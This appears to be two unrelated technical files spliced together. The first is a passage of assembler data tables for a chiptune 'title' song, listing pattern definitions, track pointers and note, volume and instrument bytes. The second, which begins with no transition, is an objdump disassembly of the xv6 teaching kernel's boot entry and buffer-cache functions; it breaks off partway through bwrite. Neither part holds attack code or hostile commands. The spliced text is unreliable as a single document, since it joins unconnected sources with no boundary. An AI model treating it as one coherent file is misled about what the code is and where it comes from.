$016A: [$02BE] pattern 18, track 3 pattern19Definition_title: db $00 ; $016C: pattern 19 state dw trackDef16_title ; $016D: [$02E1] pattern 19, track 1 dw trackDef5_title ; $016F: [$029B] pattern 19, track 2 dw trackDef6_title ; $0171: [$02BE] pattern 19, track 3 pattern20Definition_title: db $00 ; $0173: pattern 20 state dw trackDef16_title ; $0174: [$02E1] pattern 20, track 1 dw trackDef5_title ; $0176: [$029B] pattern 20, track 2 dw trackDef6_title ; $0178: [$02BE] pattern 20, track 3 pattern21Definition_title: db $00 ; $017A: pattern 21 state dw trackDef16_title ; $017B: [$02E1] pattern 21, track 1 dw trackDef5_title ; $017D: [$029B] pattern 21, track 2 dw trackDef6_title ; $017F: [$02BE] pattern 21, track 3 pattern22Definition_title: db $02 ; $0181: pattern 22 state db $02 ; $0182: transposition 1 dw trackDef16_title ; $0183: [$02E1] pattern 22, track 1 dw trackDef5_title ; $0185: [$029B] pattern 22, track 2 dw trackDef6_title ; $0187: [$02BE] pattern 22, track 3 pattern23Definition_title: db $00 ; $0189: pattern 23 state dw trackDef16_title ; $018A: [$02E1] pattern 23, track 1 dw trackDef5_title ; $018C: [$029B] pattern 23, track 2 dw trackDef6_title ; $018E: [$02BE] pattern 23, track 3 pattern24Definition_title: db $00 ; $0190: pattern 24 state dw trackDef16_title ; $0191: [$02E1] pattern 24, track 1 dw trackDef5_title ; $0193: [$029B] pattern 24, track 2 dw trackDef6_title ; $0195: [$02BE] pattern 24, track 3 pattern25Definition_title: db $00 ; $0197: pattern 25 state dw trackDef16_title ; $0198: [$02E1] pattern 25, track 1 dw trackDef5_title ; $019A: [$029B] pattern 25, track 2 dw trackDef6_title ; $019C: [$02BE] pattern 25, track 3 pattern26Definition_title: db $02 ; $019E: pattern 26 state db $03 ; $019F: transposition 1 dw trackDef16_title ; $01A0: [$02E1] pattern 26, track 1 dw trackDef5_title ; $01A2: [$029B] pattern 26, track 2 dw trackDef6_title ; $01A4: [$02BE] pattern 26, track 3 pattern27Definition_title: db $00 ; $01A6: pattern 27 state dw trackDef16_title ; $01A7: [$02E1] pattern 27, track 1 dw trackDef5_title ; $01A9: [$029B] pattern 27, track 2 dw trackDef6_title ; $01AB: [$02BE] pattern 27, track 3 pattern28Definition_title: db $00 ; $01AD: pattern 28 state dw trackDef16_title ; $01AE: [$02E1] pattern 28, track 1 dw trackDef5_title ; $01B0: [$029B] pattern 28, track 2 dw trackDef6_title ; $01B2: [$02BE] pattern 28, track 3 pattern29Definition_title: db $00 ; $01B4: pattern 29 state dw trackDef16_title ; $01B5: [$02E1] pattern 29, track 1 dw trackDef5_title ; $01B7: [$029B] pattern 29, track 2 dw trackDef6_title ; $01B9: [$02BE] pattern 29, track 3 pattern30Definition_title: db $02 ; $01BB: pattern 30 state db $05 ; $01BC: transposition 1 dw trackDef16_title ; $01BD: [$02E1] pattern 30, track 1 dw trackDef5_title ; $01BF: [$029B] pattern 30, track 2 dw trackDef6_title ; $01C1: [$02BE] pattern 30, track 3 pattern31Definition_title: db $00 ; $01C3: pattern 31 state dw trackDef16_title ; $01C4: [$02E1] pattern 31, track 1 dw trackDef5_title ; $01C6: [$029B] pattern 31, track 2 dw trackDef6_title ; $01C8: [$02BE] pattern 31, track 3 pattern32Definition_title: db $00 ; $01CA: pattern 32 state dw trackDef16_title ; $01CB: [$02E1] pattern 32, track 1 dw trackDef5_title ; $01CD: [$029B] pattern 32, track 2 dw trackDef6_title ; $01CF: [$02BE] pattern 32, track 3 pattern33Definition_title: db $00 ; $01D1: pattern 33 state dw trackDef16_title ; $01D2: [$02E1] pattern 33, track 1 dw trackDef5_title ; $01D4: [$029B] pattern 33, track 2 dw trackDef6_title ; $01D6: [$02BE] pattern 33, track 3 pattern34Definition_title: db $02 ; $01D8: pattern 34 state db $00 ; $01D9: transposition 1 dw trackDef41_title ; $01DA: [$02F5] pattern 34, track 1 dw trackDef5_title ; $01DC: [$029B] pattern 34, track 2 dw trackDef43_title ; $01DE: [$0352] pattern 34, track 3 pattern35Definition_title: db $00 ; $01E0: pattern 35 state dw trackDef44_title ; $01E1: [$0323] pattern 35, track 1 dw trackDef5_title ; $01E3: [$029B] pattern 35, track 2 dw trackDef46_title ; $01E5: [$0379] pattern 35, track 3 pattern36Definition_title: db $00 ; $01E7: pattern 36 state dw trackDef41_title ; $01E8: [$02F5] pattern 36, track 1 dw trackDef5_title ; $01EA: [$029B] pattern 36, track 2 dw trackDef43_title ; $01EC: [$0352] pattern 36, track 3 pattern37Definition_title: db $00 ; $01EE: pattern 37 state dw trackDef44_title ; $01EF: [$0323] pattern 37, track 1 dw trackDef5_title ; $01F1: [$029B] pattern 37, track 2 dw trackDef46_title ; $01F3: [$0379] pattern 37, track 3 pattern38Definition_title: db $00 ; $01F5: pattern 38 state dw trackDef41_title ; $01F6: [$02F5] pattern 38, track 1 dw trackDef5_title ; $01F8: [$029B] pattern 38, track 2 dw trackDef43_title ; $01FA: [$0352] pattern 38, track 3 pattern39Definition_title: db $00 ; $01FC: pattern 39 state dw trackDef44_title ; $01FD: [$0323] pattern 39, track 1 dw trackDef5_title ; $01FF: [$029B] pattern 39, track 2 dw trackDef46_title ; $0201: [$0379] pattern 39, track 3 pattern40Definition_title: db $00 ; $0203: pattern 40 state dw trackDef41_title ; $0204: [$02F5] pattern 40, track 1 dw trackDef5_title ; $0206: [$029B] pattern 40, track 2 dw trackDef43_title ; $0208: [$0352] pattern 40, track 3 pattern41Definition_title: db $00 ; $020A: pattern 41 state dw trackDef44_title ; $020B: [$0323] pattern 41, track 1 dw trackDef5_title ; $020D: [$029B] pattern 41, track 2 dw trackDef46_title ; $020F: [$0379] pattern 41, track 3 pattern42Definition_title: db $01 ; $0211: pattern 42 state dw pattern0Definition_title ; $0212: [$00E1] song restart address specialtrackDef0_title: db $15 ; $0214: data, speed 5 db $00 ; $0215: wait 128 trackDef1_title: db $42 ; $0216: normal track data db $80 ; $0217: vol off, pitch, no note, no instrument dw $0000 ; $0218: pitch db $00 ; $021A: track end signature found trackDef0_title: db $52 ; $021B: normal track data db $E1 ; $021C: vol = $F (inverted), no pitch, no note, no instrument dw $FFF6 ; $021D: pitch db $01 ; $021F: instrument db $42 ; $0220: normal track data db $00 ; $0221: vol off, no pitch, no note, no instrument db $42 ; $0222: normal track data db $00 ; $0223: vol off, no pitch, no note, no instrument db $42 ; $0224: normal track data db $00 ; $0225: vol off, no pitch, no note, no instrument db $42 ; $0226: normal track data db $00 ; $0227: vol off, no pitch, no note, no instrument db $42 ; $0228: normal track data db $00 ; $0229: vol off, no pitch, no note, no instrument db $42 ; $022A: normal track data db $00 ; $022B: vol off, no pitch, no note, no instrument db $42 ; $022C: normal track data db $00 ; $022D: vol off, no pitch, no note, no instrument db $42 ; $022E: normal track data db $00 ; $022F: vol off, no pitch, no note, no instrument db $42 ; $0230: normal track data db $00 ; $0231: vol off, no pitch, no note, no instrument db $42 ; $0232: normal track data db $00 ; $0233: vol off, no pitch, no note, no instrument db $42 ; $0234: normal track data db $00 ; $0235: vol off, no pitch, no note, no instrument db $42 ; $0236: normal track data db $00 ; $0237: vol off, no pitch, no note, no instrument db $42 ; $0238: normal track data db $00 ; $0239: vol off, no pitch, no note, no instrument db $42 ; $023A: normal track data db $00 ; $023B: vol off, no pitch, no note, no instrument db $42 ; $023C: normal track data db $00 ; $023D: vol off, no pitch, no note, no instrument db $42 ; $023E: normal track data db $00 ; $023F: vol off, no pitch, no note, no instrument db $42 ; $0240: normal track data db $00 ; $0241: vol off, no pitch, no note, no instrument db $42 ; $0242: normal track data db $00 ; $0243: vol off, no pitch, no note, no instrument db $42 ; $0244: normal track data db $00 ; $0245: vol off, no pitch, no note, no instrument db $42 ; $0246: normal track data db $00 ; $0247: vol off, no pitch, no note, no instrument db $42 ; $0248: normal track data db $00 ; $0249: vol off, no pitch, no note, no instrument db $42 ; $024A: normal track data db $00 ; $024B: vol off, no pitch, no note, no instrument db $42 ; $024C: normal track data db $00 ; $024D: vol off, no pitch, no note, no instrument db $42 ; $024E: normal track data db $00 ; $024F: vol off, no pitch, no note, no instrument db $42 ; $0250: normal track data db $00 ; $0251: vol off, no pitch, no note, no instrument db $42 ; $0252: normal track data db $00 ; $0253: vol off, no pitch, no note, no instrument db $42 ; $0254: normal track data db $00 ; $0255: vol off, no pitch, no note, no instrument db $42 ; $0256: normal track data db $00 ; $0257: vol off, no pitch, no note, no instrument db $42 ; $0258: normal track data db $00 ; $0259: vol off, no pitch, no note, no instrument db $42 ; $025A: normal track data db $00 ; $025B: vol off, no pitch, no note, no instrument db $42 ; $025C: normal track data db $00 ; $025D: vol off, no pitch, no note, no instrument trackDef3_title: db $42 ; $025E: normal track data db $80 ; $025F: vol off, pitch, no note, no instrument dw $0000 ; $0260: pitch db $42 ; $0262: normal track data db $00 ; $0263: vol off, no pitch, no note, no instrument db $06 ; $0264: normal track data, wait 2 db $42 ; $0265: normal track data db $03 ; $0266: vol = $E (inverted), no pitch, no note, no instrument db $08 ; $0267: normal track data, wait 3 db $42 ; $0268: normal track data, note: C0 db $05 ; $0269: vol = $D (inverted), no pitch, no note, no instrument db $00 ; $026A: track end signature found trackDef4_title: db $42 ; $026B: normal track data db $80 ; $026C: vol off, pitch, no note, no instrument dw $0000 ; $026D: pitch db $02 ; $026F: normal track data, wait 0 db $42 ; $0270: normal track data, note: C0 db $07 ; $0271: vol = $C (inverted), no pitch, no note, no instrument db $08 ; $0272: normal track data, wait 3 db $42 ; $0273: normal track data db $09 ; $0274: vol = $B (inverted), no pitch, no note, no instrument db $08 ; $0275: normal track data, wait 3 db $42 ; $0276: normal track data db $0B ; $0277: vol = $A (inverted), no pitch, no note, no instrument db $00 ; $0278: track end signature found trackDef7_title: db $42 ; $0279: normal track data db $80 ; $027A: vol off, pitch, no note, no instrument dw $0000 ; $027B: pitch db $42 ; $027D: normal track data, note: C0 db $0D ; $027E: vol = $9 (inverted), no pitch, no note, no instrument db $08 ; $027F: normal track data, wait 3 db $42 ; $0280: normal track data, note: C0 db $0F ; $0281: vol = $8 (inverted), no pitch, no note, no instrument db $08 ; $0282: normal track data, wait 3 db $42 ; $0283: normal track data db $11 ; $0284: vol = $7 (inverted), no pitch, no note, no instrument db $00 ; $0285: track end signature found trackDef9_title: db $42 ; $0286: normal track data db $93 ; $0287: vol = $6 (inverted), no pitch, no note, no instrument dw $0000 ; $0288: pitch db $04 ; $028A: normal track data, wait 1 db $42 ; $028B: normal track data, note: C0 db $15 ; $028C: vol = $5 (inverted), no pitch, no note, no instrument db $04 ; $028D: normal track data, wait 1 db $42 ; $028E: normal track data, note: C0 db $17 ; $028F: vol = $4 (inverted), no pitch, no note, no instrument db $04 ; $0290: normal track data, wait 1 db $42 ; $0291: normal track data db $19 ; $0292: vol = $3 (inverted), no pitch, no note, no instrument db $04 ; $0293: normal track data, wait 1 db $42 ; $0294: normal track data db $1B ; $0295: vol = $2 (inverted), no pitch, no note, no instrument db $02 ; $0296: normal track data, wait 0 db $42 ; $0297: normal track data, note: C0 db $1D ; $0298: vol = $1 (inverted), no pitch, no note, no instrument db $42 ; $0299: normal track data, note: C0 db $1F ; $029A: vol = $0 (inverted), no pitch, no note, no instrument trackDef5_title: db $A8 ; $029B: normal track data db $E1 ; $029C: vol = $F (inverted), no pitch, no note, no instrument dw $0000 ; $029D: pitch db $02 ; $029F: instrument db $C0 ; $02A0: normal track data db $49 ; $02A1: vol = $B (inverted), no pitch, no note, no instrument db $B8 ; $02A2: normal track data db $41 ; $02A3: vol = $F (inverted), no pitch, no note, no instrument db $A8 ; $02A4: normal track data db $49 ; $02A5: vol = $B (inverted), no pitch, no note, no instrument db $A8 ; $02A6: normal track data db $41 ; $02A7: vol = $F (inverted), no pitch, no note, no instrument db $B8 ; $02A8: normal track data db $49 ; $02A9: vol = $B (inverted), no pitch, no note, no instrument db $B6 ; $02AA: normal track data db $41 ; $02AB: vol = $F (inverted), no pitch, no note, no instrument db $A8 ; $02AC: normal track data db $49 ; $02AD: vol = $B (inverted), no pitch, no note, no instrument db $A8 ; $02AE: normal track data db $41 ; $02AF: vol = $F (inverted), no pitch, no note, no instrument db $B6 ; $02B0: normal track data db $49 ; $02B1: vol = $B (inverted), no pitch, no note, no instrument db $BC ; $02B2: normal track data db $41 ; $02B3: vol = $F (inverted), no pitch, no note, no instrument db $A8 ; $02B4: normal track data db $49 ; $02B5: vol = $B (inverted), no pitch, no note, no instrument db $A8 ; $02B6: normal track data db $41 ; $02B7: vol = $F (inverted), no pitch, no note, no instrument db $BC ; $02B8: normal track data db $49 ; $02B9: vol = $B (inverted), no pitch, no note, no instrument db $C0 ; $02BA: normal track data db $41 ; $02BB: vol = $F (inverted), no pitch, no note, no instrument db $A8 ; $02BC: normal track data db $49 ; $02BD: vol = $B (inverted), no pitch, no note, no instrument trackDef6_title: db $A8 ; $02BE: normal track data db $E9 ; $02BF: vol = $B (inverted), no pitch, no note, no instrument dw $0000 ; $02C0: pitch db $03 ; $02C2: instrument db $A8 ; $02C3: normal track data db $41 ; $02C4: vol = $F (inverted), no pitch, no note, no instrument db $C0 ; $02C5: normal track data db $49 ; $02C6: vol = $B (inverted), no pitch, no note, no instrument db $B8 ; $02C7: normal track data db $41 ; $02C8: vol = $F (inverted), no pitch, no note, no instrument db $A8 ; $02C9: normal track data db $49 ; $02CA: vol = $B (inverted), no pitch, no note, no instrument db $A8 ; $02CB: normal track data db $41 ; $02CC: vol = $F (inverted), no pitch, no note, no instrument db $B8 ; $02CD: normal track data db $49 ; $02CE: vol = $B (inverted), no pitch, no note, no instrument db $B6 ; $02CF: normal track data db $41 ; $02D0: vol = $F (inverted), no pitch, no note, no instrument db $A8 ; $02D1: normal track data db $49 ; $02D2: vol = $B (inverted), no pitch, no note, no instrument db $A8 ; $02D3: normal track data db $41 ; $02D4: vol = $F (inverted), no pitch, no note, no instrument db $B6 ; $02D5: normal track data db $49 ; $02D6: vol = $B (inverted), no pitch, no note, no instrument db $BC ; $02D7: normal track data db $41 ; $02D8: vol = $F (inverted), no pitch, no note, no instrument db $A8 ; $02D9: normal track data db $49 ; $02DA: vol = $B (inverted), no pitch, no note, no instrument db $A8 ; $02DB: normal track data db $41 ; $02DC: vol = $F (inverted), no pitch, no note, no instrument db $BC ; $02DD: normal track data db $49 ; $02DE: vol = $B (inverted), no pitch, no note, no instrument db $C0 ; $02DF: normal track data db $41 ; $02E0: vol = $F (inverted), no pitch, no note, no instrument trackDef16_title: db $6A ; $02E1: normal track data db $E1 ; $02E2: vol = $F (inverted), no pitch, no note, no instrument dw $0000 ; $02E3: pitch db $04 ; $02E5: instrument db $02 ; $02E6: normal track data, wait 0 db $2B ; $02E7: full optimization, no escape: G#1 db $02 ; $02E8: normal track data, wait 0 db $2B ; $02E9: full optimization, no escape: G#1 db $02 ; $02EA: normal track data, wait 0 db $2B ; $02EB: full optimization, no escape: G#1 db $02 ; $02EC: normal track data, wait 0 db $2B ; $02ED: full optimization, no escape: G#1 db $02 ; $02EE: normal track data, wait 0 db $2B ; $02EF: full optimization, no escape: G#1 db $02 ; $02F0: normal track data, wait 0 db $2B ; $02F1: full optimization, no escape: G#1 db $02 ; $02F2: normal track data, wait 0 db $2B ; $02F3: full optimization, no escape: G#1 db $00 ; $02F4: track end signature found trackDef41_title: db $5E ; $02F5: normal track data db $E0 ; $02F6: vol off, pitch, note, instrument dw $0000 ; $02F7: pitch db $05 ; $02F9: instrument db $8A ; $02FA: normal track data db $60 ; $02FB: vol off, no pitch, note, instrument db $06 ; $02FC: instrument db $5C ; $02FD: normal track data db $60 ; $02FE: vol off, no pitch, note, instrument db $07 ; $02FF: instrument db $21 ; $0300: full optimization, no escape: D#1 db $8A ; $0301: normal track data db $60 ; $0302: vol off, no pitch, note, instrument db $08 ; $0303: instrument db $8A ; $0304: normal track data db $60 ; $0305: vol off, no pitch, note, instrument db $06 ; $0306: instrument db $8A ; $0307: normal track data db $60 ; $0308: vol off, no pitch, note, instrument db $08 ; $0309: instrument db $5E ; $030A: normal track data db $60 ; $030B: vol off, no pitch, note, instrument db $05 ; $030C: instrument db $8A ; $030D: normal track data db $60 ; $030E: vol off, no pitch, note, instrument db $06 ; $030F: instrument db $8A ; $0310: normal track data db $60 ; $0311: vol off, no pitch, note, instrument db $08 ; $0312: instrument db $5E ; $0313: normal track data db $60 ; $0314: vol off, no pitch, note, instrument db $05 ; $0315: instrument db $8A ; $0316: normal track data db $60 ; $0317: vol off, no pitch, note, instrument db $06 ; $0318: instrument db $8A ; $0319: normal track data db $60 ; $031A: vol off, no pitch, note, instrument db $08 ; $031B: instrument db $8A ; $031C: normal track data db $60 ; $031D: vol off, no pitch, note, instrument db $06 ; $031E: instrument db $5C ; $031F: normal track data db $60 ; $0320: vol off, no pitch, note, instrument db $07 ; $0321: instrument db $21 ; $0322: full optimization, no escape: D#1 trackDef44_title: db $5E ; $0323: normal track data db $E0 ; $0324: vol off, pitch, note, instrument dw $0000 ; $0325: pitch db $05 ; $0327: instrument db $8A ; $0328: normal track data db $60 ; $0329: vol off, no pitch, note, instrument db $06 ; $032A: instrument db $5C ; $032B: normal track data db $60 ; $032C: vol off, no pitch, note, instrument db $07 ; $032D: instrument db $21 ; $032E: full optimization, no escape: D#1 db $8A ; $032F: normal track data db $60 ; $0330: vol off, no pitch, note, instrument db $08 ; $0331: instrument db $8A ; $0332: normal track data db $60 ; $0333: vol off, no pitch, note, instrument db $06 ; $0334: instrument db $8A ; $0335: normal track data db $60 ; $0336: vol off, no pitch, note, instrument db $08 ; $0337: instrument db $5E ; $0338: normal track data db $60 ; $0339: vol off, no pitch, note, instrument db $05 ; $033A: instrument db $8A ; $033B: normal track data db $60 ; $033C: vol off, no pitch, note, instrument db $06 ; $033D: instrument db $8A ; $033E: normal track data db $60 ; $033F: vol off, no pitch, note, instrument db $08 ; $0340: instrument db $5E ; $0341: normal track data db $60 ; $0342: vol off, no pitch, note, instrument db $05 ; $0343: instrument db $8A ; $0344: normal track data db $60 ; $0345: vol off, no pitch, note, instrument db $06 ; $0346: instrument db $B6 ; $0347: normal track data db $60 ; $0348: vol off, no pitch, note, instrument db $09 ; $0349: instrument db $42 ; $034A: normal track data db $00 ; $034B: vol off, no pitch, no note, no instrument db $56 ; $034C: normal track data db $60 ; $034D: vol off, no pitch, note, instrument db $07 ; $034E: instrument db $8A ; $034F: normal track data db $60 ; $0350: vol off, no pitch, note, instrument db $08 ; $0351: instrument trackDef43_title: db $B6 ; $0352: normal track data db $E0 ; $0353: vol off, pitch, note, instrument dw $0000 ; $0354: pitch db $0A ; $0356: instrument db $42 ; $0357: normal track data db $00 ; $0358: vol off, no pitch, no note, no instrument db $8A ; $0359: normal track data db $60 ; $035A: vol off, no pitch, note, instrument db $08 ; $035B: instrument db $8A ; $035C: normal track data db $60 ; $035D: vol off, no pitch, note, instrument db $06 ; $035E: instrument db $5C ; $035F: normal track data db $60 ; $0360: vol off, no pitch, note, instrument db $0B ; $0361: instrument db $42 ; $0362: normal track data db $00 ; $0363: vol off, no pitch, no note, no instrument db $60 ; $0364: normal track data db $60 ; $0365: vol off, no pitch, note, instrument db $07 ; $0366: instrument db $27 ; $0367: full optimization, no escape: F#1 db $B6 ; $0368: normal track data db $60 ; $0369: vol off, no pitch, note, instrument db $0A ; $036A: instrument db $02 ; $036B: normal track data, wait 0 db $5C ; $036C: normal track data db $60 ; $036D: vol off, no pitch, note, instrument db $07 ; $036E: instrument db $21 ; $036F: full optimization, no escape: D#1 db $5C ; $0370: normal track data db $60 ; $0371: vol off, no pitch, note, instrument db $0B ; $0372: instrument db $02 ; $0373: normal track data, wait 0 db $B6 ; $0374: normal track data db $60 ; $0375: vol off, no pitch, note, instrument db $0C ; $0376: instrument db $42 ; $0377: normal track data db $00 ; $0378: vol off, no pitch, no note, no instrument trackDef46_title: db $8A ; $0379: normal track data db $E0 ; $037A: vol off, pitch, note, instrument dw $0000 ; $037B: pitch db $08 ; $037D: instrument db $02 ; $037E: normal track data, wait 0 db $B6 ; $037F: normal track data db $60 ; $0380: vol off, no pitch, note, instrument db $0A ; $0381: instrument db $42 ; $0382: normal track data db $00 ; $0383: vol off, no pitch, no note, no instrument db $5C ; $0384: normal track data db $60 ; $0385: vol off, no pitch, note, instrument db $0B ; $0386: instrument db $02 ; $0387: normal track data, wait 0 db $60 ; $0388: normal track data db $60 ; $0389: vol off, no pitch, note, instrument db $07 ; $038A: instrument db $27 ; $038B: full optimization, no escape: F#1 db $B6 ; $038C: normal track data db $60 ; $038D: vol off, no pitch, note, instrument db $0A ; $038E: instrument db $42 ; $038F: normal track data db $00 ; $0390: vol off, no pitch, no note, no instrument db $5C ; $0391: normal track data db $60 ; $0392: vol off, no pitch, note, instrument db $07 ; $0393: instrument db $21 ; $0394: full optimization, no escape: D#1 db $5C ; $0395: normal track data db $60 ; $0396: vol off, no pitch, note, instrument db $0B ; $0397: instrument db $8A ; $0398: normal track data db $60 ; $0399: vol off, no pitch, note, instrument db $08 ; $039A: instrument db $8A ; $039B: normal track data db $60 ; $039C: vol off, no pitch, note, instrument db $06 ; $039D: instrument db $5C ; $039E: normal track data db $60 ; $039F: vol off, no pitch, note, instrument db $07 ; $03A0: instrument
kernel: file format elf32-i386 Disassembly of section .text: 80100000 <multiboot_header>: 80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh 80100006: 00 00 add %al,(%eax) 80100008: fe 4f 52 decb 0x52(%edi) 8010000b: e4 .byte 0xe4 8010000c <entry>: # Entering xv6 on boot processor, with paging off. .globl entry entry: # Turn on page size extension for 4Mbyte pages movl %cr4, %eax 8010000c: 0f 20 e0 mov %cr4,%eax orl $(CR4_PSE), %eax 8010000f: 83 c8 10 or $0x10,%eax movl %eax, %cr4 80100012: 0f 22 e0 mov %eax,%cr4 # Set page directory movl $(V2P_WO(entrypgdir)), %eax 80100015: b8 00 90 10 00 mov $0x109000,%eax movl %eax, %cr3 8010001a: 0f 22 d8 mov %eax,%cr3 # Turn on paging. movl %cr0, %eax 8010001d: 0f 20 c0 mov %cr0,%eax orl $(CR0_PG|CR0_WP), %eax 80100020: 0d 00 00 01 80 or $0x80010000,%eax movl %eax, %cr0 80100025: 0f 22 c0 mov %eax,%cr0 # Set up the stack pointer. movl $(stack + KSTACKSIZE), %esp 80100028: bc c0 b5 10 80 mov $0x8010b5c0,%esp # Jump to main(), and switch to executing at # high addresses. The indirect call is needed because # the assembler produces a PC-relative instruction # for a direct jump. mov $main, %eax 8010002d: b8 a0 2e 10 80 mov $0x80102ea0,%eax jmp *%eax 80100032: ff e0 jmp *%eax 80100034: 66 90 xchg %ax,%ax 80100036: 66 90 xchg %ax,%ax 80100038: 66 90 xchg %ax,%ax 8010003a: 66 90 xchg %ax,%ax 8010003c: 66 90 xchg %ax,%ax 8010003e: 66 90 xchg %ax,%ax 80100040 <binit>: struct buf head; } bcache; void binit(void) { 80100040: 55 push %ebp 80100041: 89 e5 mov %esp,%ebp 80100043: 53 push %ebx //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; bcache.head.next = &bcache.head; for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 80100044: bb f4 b5 10 80 mov $0x8010b5f4,%ebx { 80100049: 83 ec 0c sub $0xc,%esp initlock(&bcache.lock, "bcache"); 8010004c: 68 e0 6f 10 80 push $0x80106fe0 80100051: 68 c0 b5 10 80 push $0x8010b5c0 80100056: e8 75 42 00 00 call 801042d0 <initlock> bcache.head.prev = &bcache.head; 8010005b: c7 05 0c fd 10 80 bc movl $0x8010fcbc,0x8010fd0c 80100062: fc 10 80 bcache.head.next = &bcache.head; 80100065: c7 05 10 fd 10 80 bc movl $0x8010fcbc,0x8010fd10 8010006c: fc 10 80 8010006f: 83 c4 10 add $0x10,%esp 80100072: ba bc fc 10 80 mov $0x8010fcbc,%edx 80100077: eb 09 jmp 80100082 <binit+0x42> 80100079: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100080: 89 c3 mov %eax,%ebx b->next = bcache.head.next; b->prev = &bcache.head; initsleeplock(&b->lock, "buffer"); 80100082: 8d 43 0c lea 0xc(%ebx),%eax 80100085: 83 ec 08 sub $0x8,%esp b->next = bcache.head.next; 80100088: 89 53 54 mov %edx,0x54(%ebx) b->prev = &bcache.head; 8010008b: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx) initsleeplock(&b->lock, "buffer"); 80100092: 68 e7 6f 10 80 push $0x80106fe7 80100097: 50 push %eax 80100098: e8 03 41 00 00 call 801041a0 <initsleeplock> bcache.head.next->prev = b; 8010009d: a1 10 fd 10 80 mov 0x8010fd10,%eax for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000a2: 83 c4 10 add $0x10,%esp 801000a5: 89 da mov %ebx,%edx bcache.head.next->prev = b; 801000a7: 89 58 50 mov %ebx,0x50(%eax) for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000aa: 8d 83 5c 02 00 00 lea 0x25c(%ebx),%eax bcache.head.next = b; 801000b0: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10 for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000b6: 3d bc fc 10 80 cmp $0x8010fcbc,%eax 801000bb: 72 c3 jb 80100080 <binit+0x40> } } 801000bd: 8b 5d fc mov -0x4(%ebp),%ebx 801000c0: c9 leave 801000c1: c3 ret 801000c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801000c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801000d0 <bread>: } // Return a locked buf with the contents of the indicated block. struct buf* bread(uint dev, uint blockno) { 801000d0: 55 push %ebp 801000d1: 89 e5 mov %esp,%ebp 801000d3: 57 push %edi 801000d4: 56 push %esi 801000d5: 53 push %ebx 801000d6: 83 ec 18 sub $0x18,%esp 801000d9: 8b 75 08 mov 0x8(%ebp),%esi 801000dc: 8b 7d 0c mov 0xc(%ebp),%edi acquire(&bcache.lock); 801000df: 68 c0 b5 10 80 push $0x8010b5c0 801000e4: e8 27 43 00 00 call 80104410 <acquire> for(b = bcache.head.next; b != &bcache.head; b = b->next){ 801000e9: 8b 1d 10 fd 10 80 mov 0x8010fd10,%ebx 801000ef: 83 c4 10 add $0x10,%esp 801000f2: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 801000f8: 75 11 jne 8010010b <bread+0x3b> 801000fa: eb 24 jmp 80100120 <bread+0x50> 801000fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100100: 8b 5b 54 mov 0x54(%ebx),%ebx 80100103: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 80100109: 74 15 je 80100120 <bread+0x50> if(b->dev == dev && b->blockno == blockno){ 8010010b: 3b 73 04 cmp 0x4(%ebx),%esi 8010010e: 75 f0 jne 80100100 <bread+0x30> 80100110: 3b 7b 08 cmp 0x8(%ebx),%edi 80100113: 75 eb jne 80100100 <bread+0x30> b->refcnt++; 80100115: 83 43 4c 01 addl $0x1,0x4c(%ebx) 80100119: eb 3f jmp 8010015a <bread+0x8a> 8010011b: 90 nop 8010011c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(b = bcache.head.prev; b != &bcache.head; b = b->prev){ 80100120: 8b 1d 0c fd 10 80 mov 0x8010fd0c,%ebx 80100126: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 8010012c: 75 0d jne 8010013b <bread+0x6b> 8010012e: eb 60 jmp 80100190 <bread+0xc0> 80100130: 8b 5b 50 mov 0x50(%ebx),%ebx 80100133: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 80100139: 74 55 je 80100190 <bread+0xc0> if(b->refcnt == 0 && (b->flags & B_DIRTY) == 0) { 8010013b: 8b 43 4c mov 0x4c(%ebx),%eax 8010013e: 85 c0 test %eax,%eax 80100140: 75 ee jne 80100130 <bread+0x60> 80100142: f6 03 04 testb $0x4,(%ebx) 80100145: 75 e9 jne 80100130 <bread+0x60> b->dev = dev; 80100147: 89 73 04 mov %esi,0x4(%ebx) b->blockno = blockno; 8010014a: 89 7b 08 mov %edi,0x8(%ebx) b->flags = 0; 8010014d: c7 03 00 00 00 00 movl $0x0,(%ebx) b->refcnt = 1; 80100153: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx) release(&bcache.lock); 8010015a: 83 ec 0c sub $0xc,%esp 8010015d: 68 c0 b5 10 80 push $0x8010b5c0 80100162: e8 69 43 00 00 call 801044d0 <release> acquiresleep(&b->lock); 80100167: 8d 43 0c lea 0xc(%ebx),%eax 8010016a: 89 04 24 mov %eax,(%esp) 8010016d: e8 6e 40 00 00 call 801041e0 <acquiresleep> 80100172: 83 c4 10 add $0x10,%esp struct buf *b; b = bget(dev, blockno); if((b->flags & B_VALID) == 0) { 80100175: f6 03 02 testb $0x2,(%ebx) 80100178: 75 0c jne 80100186 <bread+0xb6> iderw(b); 8010017a: 83 ec 0c sub $0xc,%esp 8010017d: 53 push %ebx 8010017e: e8 9d 1f 00 00 call 80102120 <iderw> 80100183: 83 c4 10 add $0x10,%esp } return b; } 80100186: 8d 65 f4 lea -0xc(%ebp),%esp 80100189: 89 d8 mov %ebx,%eax 8010018b: 5b pop %ebx 8010018c: 5e pop %esi 8010018d: 5f pop %edi 8010018e: 5d pop %ebp 8010018f: c3 ret panic("bget: no buffers"); 80100190: 83 ec 0c sub $0xc,%esp 80100193: 68 ee 6f 10 80 push $0x80106fee 80100198: e8 f3 01 00 00 call 80100390 <panic> 8010019d: 8d 76 00 lea 0x0(%esi),%esi 801001a0 <bwrite>: // Write b's contents to disk. Must be locked. void bwrite(struct buf *b) { 801001a0: 55 push %ebp 801001a1: 89 e5 mov %esp,%ebp 